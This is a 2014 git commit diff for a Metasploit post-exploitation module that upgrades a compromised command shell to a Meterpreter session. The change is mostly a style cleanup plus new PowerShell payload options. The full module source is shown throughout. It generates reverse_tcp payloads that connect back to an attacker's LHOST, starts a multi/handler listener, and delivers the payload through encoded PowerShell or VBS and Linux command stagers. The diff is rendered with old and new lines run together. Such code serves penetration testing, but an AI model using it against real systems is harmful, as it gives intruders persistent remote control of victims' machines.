Update for most recent PowerShell.rb

This update makes the module compatible with Meatballs' march PowerShell changes mentioned earlier (lines 112/113).  It also includes changes recommended by Timwr and about 2/3 of the issues mentioned by Rubocop.  I didn't make some of the Rubocop changes based on HD's comments in IRC that it was still being tuned to meet the project's requirements.
bug/bundler_fix
Tom Sellers 2014-08-02 15:32:45 -05:00
parent 11515fc75c
commit 6315710697
1 changed files with 41 additions and 52 deletions

View File

@ -12,8 +12,8 @@ class Metasploit3 < Msf::Post
include Exploit::Powershell include Exploit::Powershell
include Post::Windows::Powershell include Post::Windows::Powershell
def initialize(info={}) def initialize(info = {})
super( update_info( info, super(update_info(info,
'Name' => 'Shell to Meterpreter Upgrade', 'Name' => 'Shell to Meterpreter Upgrade',
'Description' => %q{ 'Description' => %q{
This module attempts to upgrade a command shell to meterpreter. The shell This module attempts to upgrade a command shell to meterpreter. The shell
@ -33,9 +33,9 @@ class Metasploit3 < Msf::Post
OptInt.new('LPORT', OptInt.new('LPORT',
[false, 'Port for Payload to connect to.', 4433]), [false, 'Port for Payload to connect to.', 4433]),
OptBool.new('HANDLER', OptBool.new('HANDLER',
[ true, 'Start an Exploit Multi Handler to receive the connection', true]), [ true, 'Start an Exploit Multi Handler to receive the connection', true])
], self.class) ], self.class)
deregister_options("PERSIST","PSH_OLD_METHOD","RUN_WOW64") deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end end
# Run Method for when run command is issued # Run Method for when run command is issued
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post
elsif framework.datastore['LHOST'] elsif framework.datastore['LHOST']
lhost = framework.datastore['LHOST'] lhost = framework.datastore['LHOST']
else else
lhost = session.tunnel_local.split(":")[0] lhost = session.tunnel_local.split(':')[0]
end end
# If nothing else works.... # If nothing else works....
@ -64,6 +64,7 @@ class Metasploit3 < Msf::Post
payload_name = 'windows/meterpreter/reverse_tcp' payload_name = 'windows/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Windows] lplat = [Msf::Platform::Windows]
larch = [ARCH_X86] larch = [ARCH_X86]
psh_arch = 'x86'
when /osx/i when /osx/i
platform = 'python' platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'python/meterpreter/reverse_tcp'
@ -79,7 +80,7 @@ class Metasploit3 < Msf::Post
payload_name = 'linux/x86/meterpreter/reverse_tcp' payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux] lplat = [Msf::Platform::Linux]
larch = [ARCH_X86] larch = [ARCH_X86]
elsif cmd_exec("python -V") =~ /Python 2\.(\d)/ elsif cmd_exec('python -V') =~ /Python 2\.(\d)/
# Generic fallback for OSX, Solaris, Linux/ARM # Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python' platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'python/meterpreter/reverse_tcp'
@ -91,15 +92,14 @@ class Metasploit3 < Msf::Post
return nil return nil
end end
payload_data = generate_payload(lhost,lport,payload_name) payload_data = generate_payload(lhost, lport, payload_name)
if payload_data.blank? if payload_data.blank?
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
return nil return nil
end end
if datastore['HANDLER'] if datastore['HANDLER']
listener_job_id = create_multihandler(lhost,lport,payload_name) listener_job_id = create_multihandler(lhost, lport, payload_name)
if listener_job_id.blank? if listener_job_id.blank?
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
return nil return nil
@ -109,7 +109,8 @@ class Metasploit3 < Msf::Post
case platform case platform
when 'win' when 'win'
if have_powershell? if have_powershell?
cmd_exec(cmd_psh_payload(payload_data)) psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false }
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts))
else else
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe) aborted = transmit_payload(exe)
@ -123,11 +124,9 @@ class Metasploit3 < Msf::Post
cleanup_handler(listener_job_id, aborted) if datastore['HANDLER'] cleanup_handler(listener_job_id, aborted) if datastore['HANDLER']
return nil return nil
end end
def transmit_payload(exe) def transmit_payload(exe)
# #
# Generate the stager command array # Generate the stager command array
# #
@ -140,7 +139,7 @@ class Metasploit3 < Msf::Post
#:nodelete => true # keep temp files (for debugging) #:nodelete => true # keep temp files (for debugging)
} }
if session.platform =~ /win/i if session.platform =~ /win/i
opts[:decoder] = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
else else
opts[:background] = true opts[:background] = true
@ -150,8 +149,8 @@ class Metasploit3 < Msf::Post
end end
cmds = cmdstager.generate(opts) cmds = cmdstager.generate(opts)
if (cmds.nil? or cmds.length < 1) if cmds.nil? || cmds.length < 1
print_error("The command stager could not be generated") print_error('The command stager could not be generated')
raise ArgumentError raise ArgumentError
end end
@ -169,18 +168,16 @@ class Metasploit3 < Msf::Post
aborted = false aborted = false
cmds.each { |cmd| cmds.each { |cmd|
ret = session.shell_command_token(cmd) ret = session.shell_command_token(cmd)
if (not ret) if !ret
aborted = true aborted = true
else else
ret.strip! ret.strip!
if (not ret.empty?) aborted = true if !ret.empty?
aborted = true
end
end end
if aborted if aborted
print_error("Error: Unable to execute the following command:") print_error('Error: Unable to execute the following command:')
print_error(cmd.inspect) print_error(cmd.inspect)
print_error('Output: ' + ret.inspect) if ret and not ret.empty? print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break break
end end
@ -200,23 +197,21 @@ class Metasploit3 < Msf::Post
end end
def cleanup_handler(listener_job_id, aborted) def cleanup_handler(listener_job_id, aborted)
# Return if the job has already finished # Return if the job has already finished
return nil if framework.jobs[listener_job_id].nil? return nil if framework.jobs[listener_job_id].nil?
Thread.new do Thread.new do
if not aborted if !aborted
timer = 0 timer = 0
while not framework.jobs[listener_job_id].nil? && timer < 10 while !framework.jobs[listener_job_id].nil? && timer < 10
# Wait up to 10 seconds for the session to come in.. # Wait up to 10 seconds for the session to come in..
sleep(1) sleep(1)
timer += 1 timer += 1
end
end end
print_status("Stopping multi/handler")
framework.jobs.stop_job(listener_job_id)
end end
print_status('Stopping multi/handler')
framework.jobs.stop_job(listener_job_id)
end
end end
# #
@ -227,16 +222,15 @@ class Metasploit3 < Msf::Post
print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total])
end end
# Method for checking if a listener for a given IP and port is present # Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found # will return true if a conflict exists and false if none is found
def check_for_listener(lhost,lport) def check_for_listener(lhost, lport)
client.framework.jobs.each do |k,j| client.framework.jobs.each do |k, j|
if j.name =~ / multi\/handler/ if j.name =~ / multi\/handler/
current_id = j.jid current_id = j.jid
current_lhost = j.ctx[0].datastore["LHOST"] current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore["LPORT"] current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost and lport == current_lport.to_i if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true return true
end end
@ -246,14 +240,14 @@ class Metasploit3 < Msf::Post
end end
# Starts a multi/handler session # Starts a multi/handler session
def create_multihandler(lhost,lport,payload_name) def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name) pay = client.framework.payloads.create(payload_name)
pay.datastore['LHOST'] = lhost pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport pay.datastore['LPORT'] = lport
print_status("Starting exploit multi handler") print_status('Starting exploit multi handler')
if not check_for_listener(lhost,lport) if !check_for_listener(lhost, lport)
# Set options for module # Set options for module
mh = client.framework.exploits.create("multi/handler") mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore) mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name mh.datastore['PAYLOAD'] = payload_name
@ -276,24 +270,19 @@ class Metasploit3 < Msf::Post
# target could end up on on a different handler with the wrong payload # target could end up on on a different handler with the wrong payload
# or dropped entirely. # or dropped entirely.
select(nil, nil, nil, 5) select(nil, nil, nil, 5)
if framework.jobs[mh.job_id.to_s].nil? return nil if framework.jobs[mh.job_id.to_s].nil?
return nil
end
return mh.job_id.to_s return mh.job_id.to_s
else else
print_error("A job is listening on the same local port") print_error('A job is listening on the same local port')
return nil return nil
end end
end end
def generate_payload(lhost,lport,payload_name) def generate_payload(lhost, lport, payload_name)
payload = framework.payloads.create(payload_name) payload = framework.payloads.create(payload_name)
options = "LHOST=#{lhost} LPORT=#{lport}" options = "LHOST=#{lhost} LPORT=#{lport}"
buf = payload.generate_simple('OptionStr' => options) buf = payload.generate_simple('OptionStr' => options)
return buf buf
end end
end end